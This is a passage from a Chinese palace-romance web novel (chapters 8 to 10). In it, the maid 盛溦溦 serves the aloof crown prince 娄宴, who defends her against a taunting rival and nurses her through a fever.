盛溦溦也搞不清楚书房内发生了什么事,但见此情形也知道不是什么好事,心惊胆战的进了屋,见娄宴垂眸看书,不等他发难,便学着十里的样子扑通一声跪了下去:“殿下,奴婢知错了,真的知错了,奴婢方才只是一时心软才犯了大错,奴婢再也不敢了。”
几乎不含丝毫感情的低沉声音传了过来:“错哪儿了?”
有回应就代表事情不至于太坏,尚有转圜余地。
“奴婢错在奴婢不应该擅作主张,私自让人进府,违背了殿下的命令,辜负了殿下的期待……”
“孤对你没有期待。”
“哦。”盛溦溦点头,一本正经的纠正:“辜负了殿下对奴婢的信任……”
娄宴实在有些气闷:“孤几时给过你信任?”
盛溦溦:“……”偷偷抬眸看了一眼娄宴,咽了咽口水:“那就是奴婢没有职责,做好份内之事,奴婢保证,下次一定不会这样了。”
“还有下次?”
“不不不,奴婢的意思是,只要奴婢在太子府一天,就一定不会让不相干的人进太子府。”迫不得已,盛溦溦还给自己加了戏,伸出三根手指头对天发誓。
娄宴抬了下眼皮,淡漠的视线极轻地掠过盛溦溦低垂的头顶,漫不经心地开了口:“东西呢?”
“什么东西?”
盛溦溦反问前,下意识地看了看手腕上的玉镯,也没逃过娄宴锋利的视线。
“嗯?”
娄宴黑眸微微一眯,阴冷的视线直直向盛溦溦刺冷,那眼神好像在说“你知道我说的是什么”,吓得她感觉身体上的每个毛孔都开始自闭了。
在好不容易到手的灰色收入和娄宴的信任之间,盛溦溦果断选择了后者。
“幸亏殿下提醒,否则奴婢都要忘了。”盛溦溦不情不愿地取入手镯,双手奉了过去,脸不红,心却跳的厉害:“奴婢不要的,是那位小姐硬要塞给奴婢的。”
“拿给十里,让他送回去。”娄宴眼皮都不眨一下,只是淡漠地开口:“记住,进了太子府,便是太子府的人,不收他人之物,不食嗟来之食,你可明白?”
盛溦溦被娄宴突然露出来的认真严肃的神情弄的也跟着紧张起来,忙不迭的回道:“奴婢明白,奴婢谨记殿下教诲。”
见盛溦溦点头,神情认真,娄宴方收回目光,用笔头敲了下桌上不知何时多出来的一个紫檀盒子,语气甚是云淡风轻:“这个你拿去。”
“……给奴婢的?”
娄宴上下打量了盛溦溦一眼,目光里透着一股令人捉摸不透的神情,淡淡地“嗯”了一声。
盛溦溦起身,小心翼翼的拿过盒子:“多谢殿下。”
盛溦溦抱着盒子回到自己的屋子,娄宴赏的东西应该不差,别的不说,就这紫檀盒子也价值不菲了。
打开盒子的刹那,盛溦溦开心到恨不得原地转圈圈,娄宴竟然赏了她一盒子的金!银!珠!宝!
……突然觉得娄宴也没那么冷漠了怎么肥事?
8. 008
第八章
娄宴口碑爆差,但奈不住他出手阔绰,并且一出手就是一盒金银珠宝,盛溦溦的一颗忠心就这么被他妥妥的拿下,并且下定决心,以后一定唯娄宴是从。
这么好的上司,只有傻子才不听他的话吧。
照这样下去,不仅可以替娘和幼弟赎身,就是再给她们置办间像模像样的宅子,也不是什么大问题了啊!
这么想着,盛溦溦仿佛觉得生活有了奔头。
伺候着娄宴用过午膳后,盛溦溦本打算切盘瓜果去书房伺候的,谁知又有人敲门了,想着该不会又是哪家的花痴小姐吧?盛溦溦过去的时候,顺手拿了把扫帚。
要是谁敢闯进来,她手中的扫帚也不是吃素的。
盛溦溦打开门,却吃了一惊,因为这个人她认识。
“宁小姐?”
“盛小姐。”
这一声别有深意的招呼声,听的盛溦溦心惊肉跳。
宁如月,江南巡抚嫡女,性格泼辣跋扈,胜负欲极强,她自小同父亲在江南一带生活,是近两年才进京城的,所以一开始的京城名媛圈里并没有她,后来有一次,她堂姐把她带进来了,简直是给京城名媛圈带来了个祸害。
南夜国民风婉约,小姐们聚集在一处做的无非都是附庸风雅之事,像吟诗作词、插花制香之类的,宁如月似乎自小就不爱好这些,也没学过,所以她是实打实的什么都不会,花能被插死、制香能呛人、诗词背不出几首,小姐们总是能被她弄的目瞪口呆,却也都给她留了点儿面子,不至于嘲讽她,她倒好,明明初来乍到什么都不会的人,不仅不虚心学习,反而特别能作,不是说这位小姐长的不好看,像猴子,就是说那位小姐长的太好,像狐狸精,总之言语间处处得罪人,有一次争吵时还将一位小姐推下了河,幸好那位小姐最后被救上了岸,否则她是要吃牢狱饭了,就她这些事,她父亲没少替她擦屁股,也没少禁过她的足。
真是干啥啥不行、作精第一名。
盛溦溦不像那些小姐们好欺负,宁如月每次朝她走过去,总是被她特别强势的怼回去了,所以宁如月在她这里,也算是没讨过什么便宜,一直对此耿耿于怀。
所以,盛溦溦看到宁如月的第一眼,本来只是微跳的右眼皮,开始狂跳个不停,“冤家路窄”四个大字像霓虹灯一样在脑海不停的来回闪烁。
跟一个没长脑子的人讲道理,永远讲不通,所以以前自己都是在气势上压倒她,所谓官大一级压死人,自己父亲比她父亲地位高,她也不敢来硬的,可现在自己就是个三等奴婢,那还不是人为刀俎、我为鱼肉?
“哟,你果真在这里做粗使丫鬟啊!”
宁如月这么一开口,盛溦溦便知道她来者不善,极有可能就是来找自己的。
见盛溦溦直愣愣地盯着自己,并不回话,宁如月有些火大:“我问你话呢,你怎么不回答?做奴婢就得有个做奴婢的样子啊。”
宁如月身边的丫鬟也开口帮腔:“就是,我家小姐在问你话呢!”
盛溦溦自叹时运不济:“回宁小姐,是。”
“啧啧啧,没想到有一天还能看到你这般落魄模样,真是——”宁如月一边砸嘴摇头,一边想绕着盛溦溦转一圈,再用她那趾高气扬、盛气凌人的眼神上下打量盛溦溦,以此来满足自己高高在上的快感,可她刚要踏步进门,却被盛溦溦拿着扫帚横挡在她面前,她连门都进不去。“你干什么?!”
“不好意思宁小姐,太子殿下正在养病,任何人都不得进府。”盛溦溦态度和语气都比较强硬,毕竟这个权利是娄宴赋予她的,她背后站着的人可是杀人如麻的太子娄宴。
老板这种生物,该用的时候还是要用一下的。
宁如月冷笑:“我又不去打扰太子殿下,我就是特地来看看你的。”
果然,秋后算账来了。
“宁小姐看也看过了,现在可以走了吗?我还有活要忙,恕我不送了。”这样的人,盛溦溦唯恐避之不及,说罢便准备关门赶人。
宁如月用眼神示意了下她身边的丫鬟,丫鬟立刻欺身上前,用身体挡在门旁,使得盛溦溦无法关上门。
“盛溦溦,你躲什么呀?以前你不是豪横的很嘛,但凡你开口,那些趋炎附势的小姐们,全都簇拥到你身边去了,怎么现在却像只乌龟,喜欢缩在龟壳里了啊?”宁如月满嘴的嘲讽,笑的那叫一个得意忘形,连妆容精致的脸都兴奋的有些扭曲了。“瞧瞧你现在,真是可悲啊,连个能给你撑腰的人都没有。”
盛溦溦听宁如月话里话外提的都是以往的事,绕来绕去就那么几句话,这么小肚鸡肠的人,成不了什么大气候,没感觉到生气,只觉得她可怜。
“纠正你两点,第一但凡我开口,那一定是因为你说了什么不应该说的话,实在忍不住我才开口,算不上你所说的豪横;第二我现在是太子府的人,给我撑腰的人自然是太子殿下,没旁人什么事儿。”盛溦溦说着,唇色勾起一抹淡漠的冷笑,就是在勾唇的刹那,脑子里忽然冒出一个“我什么时候竟然学会了娄宴这套风格了”念头。“另外宁小姐,你要是实在闲的无聊,请到别处找人聊天,我没时间更没义务陪你在这儿聊天!”
“我为什么要找别人?我看到你如今沦落成这个样子,你不知道我心里有多开心呢,我为什么还要找别人呢!”
“你要再这样,我就喊人了!”
“盛溦溦,你当我是真傻啊,整个太子府都没人了,你要有本事,你倒是喊个人出来啊!”
盛溦溦后悔多了这么一嘴,九陌和十里好像都出去办事了,此刻都不在府里,她总不能把娄宴喊来吧?
可不喊人,二对一的话,武力显然抵挡不住,只能智取。
“太子府没人?你哪只眼睛瞧见太子府没人?”盛溦溦冷笑,眸子里透着一股迫人的寒意:“你父亲在江南多年,京城的别院始终空着,也还留有十来人看守呢,堂堂太子府,能没人?”
宁如月脸色有那么一瞬间惨白了一下:“……有人,你倒是叫……出来啊?”
“叫出来怕吓死你,别怪我没提醒你,惹到太子殿下,你和你爹都没好果子吃!”
宁如月这还没怎么着呢,就被盛溦溦的话吓的后退了一步,爹爹已经叮嘱她很多次了,要是再敢惹事,她以后都不要出门了。
宁如月害怕了,她身边的丫鬟倒是无所畏惧,见主子被吓退,知道表现护主心切的时机来了,当仁不让地道:“就你现在这样,也敢这么和我家小姐说话?”
盛溦溦眨眨眼,宁如月她都不怕,还能怕她一个丫鬟不成。
“你家小姐现在站的地方是太子府,我作为太子府的人,听的自然是太子殿下的话,难道还要跟你一样,只听她的吗?”
“你,看我怎么替我家小姐教训你——”丫鬟见说不过盛溦溦,气的扬手就要打她,可她的反应比丫鬟还快,一只手抓住丫鬟伸出来的手臂,另一只手一抬,狠狠给了那丫鬟响亮的一巴掌。
直接把丫鬟打懵了!
呆呆地站了半晌才反应过来,捂住火辣辣的脸,半边脸被打红了。
好久没这么解气了,盛溦溦看着自己微微有些红的手,稍稍有些发怔。
一不小心就用力过猛了,娄宴要是知道了,不会怪她吧?
“疼吗?”盛溦溦目光定定地看着那满脸委屈的丫鬟,见她傻了一般的愣愣点头,道:“疼就对了!我告诉你,我如今是太子府的人,轮不到你一个丫鬟来教训我,我若是做错了事,自有太子殿下教训,你算哪根葱!”
看到自己的丫鬟挨了打,宁如月感觉受到了挑衅,自尊心再一次被盛溦溦踩的稀碎:“她教训不了你,我来教训你!”
盛溦溦勉强还能保持镇定:“这里可是太子府,你别胡来!”
“我胡来还是你胡来?我的丫鬟就这么被你白打了?我今天就教训你了——”
狠话说到这个份上,盛溦溦也毫无办法了,目前她这个三等奴婢身份,嘴上过过瘾就算了,动手打堂堂巡府千金是万万不能的,别回头再给自己招个新罪名,那可真是得不偿失啊!
眼下只能闭上眼睛生生受了这巴掌罢鸟。
心里做好了准备,盛溦溦也不扭捏,闭上眼睛仰起脸站在原地等着挨那一巴掌。
可是左等右等
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,愣是没等到那一巴掌。
还莫名其妙的,感受到一股阴森森的寒意,从身侧漫延过来,冷飕飕的。
盛溦溦睁开眼睛一看,不禁哆嗦了一下,宁如月扬在半空中的胳膊被娄宴伸出的两根手指夹住,生生停在半空中动弹不得。
娄宴神情淡漠至极,眉眼冷霜尽起,吓的宁如月浑身都颤抖:“疼……疼……”
“知道疼,还敢来孤的太子府撒野?”娄宴黑眸微眯,说话时不见动怒,却是字字生寒,叫人无端的恐惧:“敢动孤的人?!”
盛溦溦:……咦,这话是认真的么?
宁如月先前还不知道这个长相俊美的人是谁,此刻听他几句话,又是疼又是怕,若不是娄宴硬生生夹住她的手腕,动弹不得,她真想跪下去了:“太子殿下饶命!太子殿下饶命!我再也不敢了……”
“擅闯太子府者,罪加一等。”
宁如月一听这话,脸色顿时惨白如一张纸,双腿一软就跪下去了:“太子殿下饶命……盛溦……盛小姐,您快帮我求求殿下啊,我真的不是有意的,我再也不敢了……”
盛溦溦瞥瞥嘴,笑话,她是那么白莲花的人么!
“宁小姐,你知道的,我这人心眼儿最小了。”
宁如月满脸泪水,疼的她说话都哆嗦:“我发誓,我再也不敢了,从今以后,我一定不会再招惹盛小姐了,求太子殿下开恩、饶命啊……”
娄宴不愿再听,摆摆手,脸上的厌烦之态尽显,“回去告诉你父亲,收拾好东西,”冰冷的声音,像是从地底最深处而来,透着让人不寒而栗的恐惧,粟色唇瓣性感又阴冷,道:“要么你滚,要么一起滚。”
“太子殿下,这件事与家父无关,是我的问题,是我的问题……”宁如月一想到父亲责罚她时的样子,就吓的不知道如何是好,可眼前的人比父亲还要令她恐惧,一时间,张大了嘴巴,不知如何求饶了:“求太子殿下网开一关,不要赶我出京,我一定报答太子殿下……”
娄宴丝毫没有怜悯心:“不想走,那你是想死?”
宁如月大概没想到另一个选择竟然是死。“我……”
娄宴眸中厉色尽显,不愿再多说一个字:“不想死,便滚出京城。”
说完,娄宴的视线淡淡地朝盛溦溦看过来,后者立刻会意,动作利落的关上了门。
直到合上了门,盛溦溦才惊觉小心脏扑通扑通的,方才这里上演的大概就是传闻中的英雄救美了吧,娄宴简直是妥妥的霸道总裁既视感啊!
娄宴走了几步,发觉盛溦溦没跟过来,回头见她站在原傻笑,不禁沉了沉声道:“还不走?”
盛溦溦三步并作两步小跑了过来,对着娄宴满脸真诚:“多谢殿下,刚才要不是殿下救我,八成我要被她欺负了。”
欺负?不定是谁欺负谁呢!娄宴眸色不明,视线看向她的手:“解气了?”
盛溦溦毫不掩饰的点头:“解气,就是手有点儿疼。”说完,又有些后悔,忙解释道:“是她们先欺负奴婢的。”
“孤有眼睛。”娄宴眸内暗色流动,面上却是不动声色:“你也不差。”
盛溦溦觉得娄宴话里有话,这种时候,再解释只能是越描越黑,不如透底更显得真诚一些。
深吸一口气,盛溦溦道:“奴婢承认,奴婢本来就不是什么纯善之人,但这种时候,换作任何人,首先想到的应该都是保护自己吧?总不能伸脸过去让她打啊!奴婢那一巴掌完全是出于本能……”
本能?娄宴心中一动,他奇怪自己方才的反应,这种事他一向是置身事外的,也许是她的直接、不掩饰,振振有词的说她背后给她撑腰的人是他时,眼里流露出的笃定和自信,才让他心里升出一股莫名其妙的责任感和保护欲?
仰或是本能?
娄宴眸色慢慢转清,朝盛溦溦扔了一个小瓶子:“拿去抹。”
盛溦溦接过一看,竟然是治跌打损伤的药,顿时心里一阵感动,没想到娄宴这么护短,明明是她动手打人才手疼的,怎么还给她药抹手呢?
不过看样子,她刚才向娄宴透了底,到底是走对了。“多谢殿下。”
9. 009
第九章
七八月的盛夏,天气变幻无常,昨夜还满天星空,到了第二日清晨却下起了倾盆大雨,天空跟漏了一块似的将雨水拼命地往地面倾覆,哗啦哗啦的打在屋瓦和砖面上,溅起好大的水花。
盛溦溦从梦里惊醒过来,一看这雨势,知道不得了,婆婆特意叮嘱过,后园池边那一小片并蒂莲是娄宴的命根子,这会儿恐怕要被雨水打坏了。
眼见这雨势越来越大,且没有要停歇的意思,盛溦溦也等不了了,更顾不得许多,随手抄起一把雨伞就往后园跑。
命根子,那就是比命还重要的东西,她要是没看好,那就真把娄宴得罪了。
跑到后园一看,幸好那一片并蒂莲正处于桥侧,桥稍稍遮挡着一些雨,倒也没怎么淋坏,但是有风,将那几株并蒂莲吹的东倒西歪、摇摇欲坠。
盛溦溦转身朝杂物间跑去,婆婆说过有块雨布,专门用来给并蒂莲遮雨的。
盛溦溦翻出了雨布,好大一块,她想单手拖出去根本不可能,索性扔掉雨伞,双手拉住雨布往池边拖,人还没到池边,浑身就已经湿透了。
雨布太大,要全部撑开费时又费力,况且雨势也越来越大,盛溦溦在大雨中想要完全睁开眼都挺费力的,好不容易将雨布全部打开,再一点儿一点儿的盖在并蒂连上。
雨布刚盖好,盛溦溦就发现不妥来,并蒂莲太娇弱了,雨布本来就有重量,往上一搭,再加上落在雨布上的雨水,要不了多久就会把并蒂莲给压断了。
盛溦溦又跑回杂物间,找了几根柱子和一捆麻绳,将柱子在池边固定好,再用麻绳将雨布四角拴在柱子上,想当于将雨布完全撑了起来,脱离并蒂莲的顶端,这样一来,既挡雨,也不怕将并蒂莲压坏。
终于安顿好并蒂莲之后,盛溦溦才惊觉得自己出了一身热汗,可此刻早已分不清汗水和雨水了,自己就跟泥塘里的泥鳅打滚似的,浑身灌了满满的泥水,裙角就跟自来水管一样,雨水顺着衣服源源不断地从身上滑下去,简直比雨势还要再大些。
盛溦溦看着自己这个狼狈不堪的模样:呜呜呜,太子府的奴婢真不是好当的。
盛溦溦估摸着时辰也不早了,一会儿就要伺候娄宴用早膳了,他有洁癖,若是自己就这样人不人鬼不鬼的出现在他面前,肯定会犯了他的大忌,得赶快回去洗个澡,换一身干净的衣服才行。
事不宜迟,盛溦溦拔腿就往回跑,转过一个长廊的时候,一个没注意,便和对面走过来的人撞上了。
真是怕什么来什么,这个时候偏偏撞上了娄宴。
“殿……殿下……”
盛溦溦捂着撞的生疼的脑门儿,明明她冲过去的时候也没减速啊,怎么娄宴跟堵墙似的纹丝不动,而她却被大力撞倒在地呢?
娄宴看了看跌倒在地的泥人,又看了看他那被抹上泥水的外衣和皂靴,脸色顿时阴郁至极。
嘶~~~
盛溦溦感觉牙缝间穿过一丝凉气儿。
“给孤一个解释。”
娄宴的声音冷的没有温度,比阴云密布的天空还要令人心生恐怖。
“奴婢……”盛溦溦本来想解释她是去给并蒂莲遮雨去了,可转念一想,怕娄宴觉得自己办事不稳妥,都不知道提前准备,连忙改口:“这雨太大了,奴婢没看清路,不小心摔了一跤。”
这话要是别人说出来,娄宴必定不会相信,可是从盛溦溦嘴里说出来,他倒觉得很正常,生不出一丝怀疑。
“回屋换衣。”
“奴婢知道了。”盛溦溦一边站起身,一边问:“殿下这是要去哪儿?”
“看并蒂莲。”
盛溦溦大惊:“殿下,雨太大了,现在不能去看,等雨势小了您再去,免得和奴婢一样,也摔一跤。”
娄宴沉下脸,她竟然以为他会摔跤!“孤不会。”
“这怎么能说的准呢,雨这么太,眼睛都睁不开,万一踩空了呢!”
娄宴深吸一口气,耗尽最后一丝耐性:“没有万一。”
“那您……您这衣服也脏了啊……”
盛溦溦说完,自己也觉得会挨骂,毕竟他衣服也是她弄脏的,不过与其被娄宴看到东倒西歪的并蒂莲相比,她宁愿因为弄脏衣服这件事而被骂。
娄宴抛来一个冷冷地眼神,转身往回走:“换好衣服出来,给孤更衣。”
盛溦溦长舒一口气,忙不迭的跟过去:“殿下先回寝屋,奴婢换衣服速度很快的,一会儿就过来给您更衣。”
盛溦溦回屋简单的冲了个澡,换了身干净的衣服,便火速去了娄宴的寝屋。
娄宴站在内屋里,似乎等不及,他已脱去了脏的不像样的外衣,只着贴身的寝衣,寝衣很薄,略有些透,隐隐约约能看到他发达的胸肌和健硕的腰际。
盛溦溦忙移开视线,顺便咽了咽口水。
妈妈呀,T台型男即视感啊,太诱人了!
盛溦溦猜娄宴之所以脱了外衣后便无所动作,应该是不知道干净的外衣在何处:“不好意思啊殿啊,奴婢忘告诉您了,这两日奴婢将衣橱打扫了一下,所以将殿下的衣物挪到另一个柜子里了。”
盛溦溦说着,径直走到另一处衣柜,拿了一套月白色长衫出来:“殿下,穿这套行吗?”
娄宴不以为然地“嗯”了一声。
盛溦溦捧着衣服朝娄宴走了过去,还没走上前,脚下就一滑,整个人失去重心往后倒去,惊慌失措之时,求生的本能令她下意识的伸手乱抓,好巧不巧地抓住了娄宴寝衣的前襟,更巧的是那寝衣的扣子早就解开了,此刻只是松松的掩着而已。
被盛溦溦用力一扯,刹那间春光乍现。
娄宴顿时觉得胸前一凉,低头时,寝衣已经被盛溦溦扯走了。
盛溦溦:……
娄宴:……
盛溦溦:……
这就有点儿尴尬了。
盛溦溦自知行为过于粗鲁,连忙道歉:“奴婢不是有意的……”
这解释,连盛溦溦都觉得太苍白无力了。
娄宴倒也没有太大的反应,只是见盛溦溦一手抓着他的寝衣,一手抓着他的长衫,还瞪着一双黑白分明的眼眸一眨不眨的朝他看,不由地拧起了好看的英眉:“你打算看到何时?”
盛溦溦脸红的跟熟透的柿子似的,小心翼翼地挪了两步,将衣服递了过去:“殿下,您相信奴婢,奴婢真的不是有意的,奴婢并不想看的……”
不想看?娄宴穿衣的动作稍稍一顿,看向盛溦溦的目光略有些阴森,脸上却是面无表情:“你的意思,孤没有看头?”
盛溦溦知道自己又踩雷了,是个男人都不想被别人质疑身材不好吧,何况他还那么有料!
“……当然不是。”盛溦溦回的斩钉截铁,扯了扯嘴角,挤出一个笑容:“殿下的身材是奴婢看过的人里,身材最好的一个了,奴婢就是觉得自惭形秽,怕看多了,奴婢会自闭,所以才不敢多看的。”
“哦?你看过多少男人?”
盛溦溦这下连笑容都挤不出来了:“……”
娄宴到底是什么品种,为什么她说的话,他总听不到重点呢啊啊啊!!!
……
盛溦溦觉得这一早过的那叫一个鸡犬不宁,接下来伺候娄宴用早膳时,就显得无比乖巧,话也不敢多说,都是娄宴问什么,她才回什么,回之前,还要在肚子里反复咀嚼,生怕又踩到娄宴的雷了。
用完了早膳,娄宴也没什么吩咐,盛溦溦便回了自己的屋子,吃早饭的时候她就觉得有些不对劲儿了,头有些昏昏的,还打了几个喷嚏,要不是怕娄宴嫌弃,她都要擤鼻涕了。
不出意外地,盛溦溦感冒了,头痛欲裂,鼻子不通气,嗓子冒烟儿。
盛溦溦知道她这是一早淋了雨,身体受了寒所致,给自己熬了一碗浓浓的生姜水,喝完后便裹着被子躺在床上等着出汗。
出了汗就好了吧?小时候她感冒,母亲都是这样照顾她的。
……
午膳时,东边侧门敲了半天儿,也没人去开门,最后是十里从外面办事回来,给刘才开的门儿。
十里将膳食送去膳堂的时候,也只有娄宴一个人在,不由地觉得奇怪。
娄宴见是十里,目光淡淡地往他身后一瞟,并不见盛溦溦的身影。
“她呢?”
十里自然知道殿下口中的她是谁,这盛姑娘人来了没几日,在殿下面前晃的次数倒是不少,弄的殿下动不动就问她哪儿去了。
“属下不知。”十里想着这几日的相处,虽知道盛溦溦惯会偷懒,但像服侍殿下这样的活儿,她向来都是比谁都积极殷勤的,怎么今日这个时候都没来?“属下早晨来府里的时候,倒是见过她一次,当时她慌慌张张地朝后园跑,属下都没来得及和她说上话。”
娄宴想到她浑身泥水的模样,又想到早膳食她打了几个喷嚏,神色不由地暗了暗。
“你去瞧瞧。”
“是。”
不一会儿,十里就带着盛溦溦发烧的消息回来了。
娄宴闻言,眉心不易察觉的拧了一下,便起身朝外走。
“殿下,您还没用午膳呢?您用了午膳再去啊……”
十里见殿下跟没听见似的,径直往外走,只得紧跟了过去。
盛溦溦确实发烧了,还烧的厉害,额头都烫人,一张小脸红通通的。
娄宴收回手,吩咐道:“去把孤的金草丹拿来。”
“殿下,那金草丹是皇太后留给您的!”十里虽觉得盛溦溦人不错
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,但那金草丹毕竟是稀有物,是皇太后留给殿下以备不时之需的,整个南夜国也没几颗的。
“去。”
娄宴不容置疑的开口,十里知道再说也无用,转身去拿金草丹去了。
十里拿回了金草丹,递给娄宴的时候,还是想再劝劝:“殿下,盛姑娘可能只是风寒,不如属下去请大夫……”
话还没说完,十里便看到娄宴扫过来的阴冷目光,腾的住了口。
得了,还是当个哑巴吧。
盛溦溦被摇醒,睁眼瞧见是娄宴,有些惊讶:“殿下怎么在这里?”出声才发现嗓子都烧哑了,声音跟个公鸭似的。
“把药吃了。”
盛溦溦听娄宴语气里不容拒绝的命令口吻,只好乖巧又老实的点头:“好。”
盛溦溦吃了药,又依着娄宴的吩咐,继续在床上躺着,只是平日里都是她伺候娄宴就寝,此刻她躺着,娄宴坐着,倒觉得有些别扭了。
“孤再给你一次机会,今早何故弄的一身泥水?”
“奴婢摔……”
“孤不留说谎之人。”
盛溦溦闻言,烧的昏沉沉的脑子立刻清醒了:“奴婢是去给并蒂莲盖雨布去了。”
见娄宴沉默不语,盛溦溦还以为他生气了,咬了咬唇,轻轻地解释道:“婆婆出府前,叮嘱过奴婢,那并蒂莲是殿下心爱之物,叫奴婢一定守好了,奴婢也不知道今天会下那么大的雨,奴婢早晨发现下雨的时候,一点儿都没耽误就去后园了,可还是迟了,并蒂莲被风雨吹的东倒西歪……”
娄宴黑眸越来越沉,越收越紧,早膳后他去了一趟后园,看到遮在并蒂莲上的雨布,也看到雨布四周都用柱子撑起来了,不至于压到并蒂莲,着实用心。
原来她将自己弄的那般狼狈不堪,只是为了照顾他的并蒂莲。
娄宴心里隐隐生出一丝异样来,只是面上仍旧不动声色,面无表情地道:“并蒂莲再好,远不及人重要。”
盛溦溦闻言,一直忐忑不安的心终于放了下来:“奴婢知道了,奴婢下次一定先保护好自己。”
盛溦溦本来也没觉得自己有多惨,可娄宴那句话一说出来,她只觉得鼻子一酸,盛家出事以后,好久没人这么跟她说话了,所有人跟她说的都是贱命一条!
“若明早仍不舒服,便将这颗药服下。”娄宴将药放在床头的香檀木柜上,见她眼眶眨红,以为是自己的话说重了,英眉拧了拧,略略缓和了语气,声音还是磁性的要命,就是那声音突然变得柔和起来,竟含着一些不太习惯的别扭:“孤走了,你且好生歇息。”
“嗯,多谢殿下。”盛溦溦声音闷闷的,目送娄宴离开后,乖乖的闭上眼睛。
……
手上的折子被娄宴翻了好几遍,终是放回到桌上,抬步出了书房,外面的雨势已经转小,但从书房到鎏音阁的一段路,他的外衣肩膀处还是淋湿了。
盛溦溦吃了药后一直昏睡着,连娄宴进屋,她都没有一丁点儿察觉。
因浑身燥热难耐,盛溦溦睡的不太安稳,不时的蹬被子,娄宴进来的时候,被子都被她蹬到脚头上了。
娄宴将被子重新替她盖好,尔后起身立于榻前,看着床榻上眉眼紧闭的盛溦溦,见她额上渗出细密的汗丝,目光在床榻、床柜上扫了一下,没发现锦帕,便掏出袖中的锦帕,替她试去额角的汗丝。
金草药又称万事丹,遇热攻热、遇寒攻寒、遇毒玫毒,可谓万事大吉、转危为安,她受了寒,金草丹可将她体内的寒气缓缓逼出,所以才会出汗,饶是娄宴对此甚是了解,但见她眉头紧锁、睡不踏实,黑眸还是不由地沉了沉,露出些心疼来。
擦汗擦到一半,盛溦溦冷不丁地抓住他的手。
“你竟敢对孤……”
“殿下,别撵我走……别撵我走……我只有靠你了……”盛溦溦烧的糊里糊涂的,说的梦话也断断续续的,但娄宴倒是听的清楚,冷硬的眉眼稍稍松了下来。
娄宴轻轻挣了一下,发现盛溦溦抓的挺紧,便只好作罢,任由她抓着他的手。
娄宴从雨中走来,手臂凉凉的,盛溦溦大约觉得凉意很舒服,便从抓改为了抱,抱着娄宴的胳膊在怀里舒服地蹭了蹭。
刹那间,一股奇异的、柔软的、战栗的触感从手心、手臂传至身体的每一寸,挺拔的身躯也跟着一怔,手心处不断传来柔软弹性的触感,令向来如寒冰似的娄宴,耳根不由的一热。
娄宴用尽所有的理智,才勉强克制住体内最原始的蠢蠢欲动,直到床榻上的盛溦溦睡的越来越安稳,呼吸轻柔均匀,轻柔香甜的气息痒痒的拂在他的手背上,娄宴伸出另一只手在她额上探了探,确定她无碍了,方才抽回自己的手。
放下了曼纱床帘,转身出了门。
10. 010
第十章
第二日一早,盛溦溦醒来时,竟觉得浑身神清气爽,一点儿也没有感冒的后遗症,心里不由感叹娄宴给她吃的药还真管用。
感冒既然好了,那娄宴留下的那颗药也就不用吃了,盛溦溦将药瓶妥当地收了起来。
起床见雨已经停了,院子里一地湿漉漉的树叶,想来书房的院子里湿叶更多,盛溦溦怕娄宴看到不高兴,也不敢耽搁,拿起扫帚就扫地,扫完了地又忙去收拾书桌,屋里虽然没被雨打湿,但下雨的时候起了风,桌子上落了些灰。
盛溦溦猫着腰认真地擦完了桌肚,转身打算起身,就看到一双镶金边绣云纹的皂靴出现在眼前。
“殿下……”盛溦溦想着要热情地跟娄宴打招呼,没意识到自己是在桌肚内,起身时一头撞在了桌板上,疼的她跌坐在地上,当时就疼的说不出话来了。
像盛溦溦这样一天一撞的人,娄宴大约也是第一次见,看向她的神情颇有些古怪,像是觉得好笑,又像是觉得她愚蠢。
盛溦溦头也有些晕,也不知道是擦桌肚的时候蹲久了,还是方才撞的太厉害了,总之,她一时半刻起不来。“殿下,奴婢低血糖的毛病大概又犯了,能不能麻烦您帮奴婢找些吃的?”
娄宴:……
到底是你来伺候孤的,还是孤来伺候你的?活腻歪了!
盛溦溦大约也觉得自己的要求有些不妥,他又不是李嬷嬷,他是脾气冷淡的太子娄宴啊,自己提出这个要求简直是不知天高地厚啊。“没事的殿下,府里可能也没剩什么吃的了,您让奴婢在这里坐一会儿,坐会儿可能就好了。”
盛溦溦说完,也不管娄宴同不同意了,就靠着桌侧板闭上眼睛休息,也不知道过了多久,耳边传来娄宴低沉如常的声音:“桌子上,自己拿。”
盛溦溦休息了一会儿,虽然感觉好了一些,但动作也不敢太快,慢悠悠地从桌肚里爬出来,抬眼瞧见桌上摆的是一小盘枣糕,双眼跟冒出金光一样,又是惊喜又是诧异:“聚庭轩的蝴蝶酥?殿下您也太神了吧,您从哪儿弄来的啊,奴婢最爱吃这个了,一次能吃一大盘呢,多谢殿下!”
盛溦溦拿过装着蝴蝶酥的盘子,脸上是毫不掩饰的开心笑容,梨窝浅浅、眉眼弯弯,眸子透亮透亮的,像是天上的星星,看的娄宴恍惚间失了神,明明空落落的手心,竟又泛起那奇异的触感,酥酥麻麻的。
盛溦溦见娄宴盯着自己,便将盘子奉了过去:“殿下要尝一块吗?味道很好的。”
“孤不喜甜食。”
“不是齁甜,就是淡淡的甜,还有一股奶香。”
娄宴蹙眉,微露不悦:“都不喜。”
“哦,奴婢知道了。”看来娄宴忌讳一切甜食啊,那以后不要把甜食放他面前就好了,仰起干净的脸庞,方才休息了一会儿,现在又吃了东西,脸上慢慢恢复了血色,笑起来格外地甜美动人:“多谢殿下。”
盛溦溦抱着盘子,笑眯眯地凑近了些,昨夜娄宴照顾她吃药,怎么说也要知恩图报啊。问:“那殿下喜欢吃什么?说来听听,也许奴婢会做呢!”
软糯香甜的气息陡的靠近,昨夜那种陌生又颤粟的感觉又浮入心头,娄宴不由心神一晃,最后硬是生生地克制住了,神色冷冷一凛:“你伺候孤,你不知?”
盛溦溦觉得自己真的很嘴欠,什么不该问偏问什么。
盛溦溦摆出一副甚是认真的神情:“那些都是道听途说嘛,奴婢觉得亲自问殿下,最是准确无误。”
“去后院找本《为奴守则》,通背。”
“这……”
谁说娄宴喜怒无常、冷血变态的,她一定定制一面锦旗送过去。
……
蝴蝶酥吃到一半,东侧门就响起了敲门声儿,还是那个小太监,两人见了几次面,也算比较熟了,盛溦溦发现膳食盒倒是比前几日多了一个,还没开口问,就见他眉开眼笑地低声道:“我趁他们不注意,多放了一碗冰粥。”
盛溦溦一听就明白了,水眸微扬:“给我的?”
“总不能免费吃你一块西瓜呀,礼尚往来。”
盛溦溦觉得这个小太监很机灵,挺招人喜欢的,何况他能给娄宴送吃食,应该也不是那种低到尘埃里的小太监,说不定他还是个有地位的。
“小公公怎么称呼?”
“我叫罗才,他们都叫我小罗或阿才,姐姐叫我哪个都成。”
盛溦溦觉得跟罗才聊天挺有意思:“阿才,你在御膳房当值吗?”叫阿才,比叫小罗更亲近一些。
“不在,我在翊坤宫当值。”
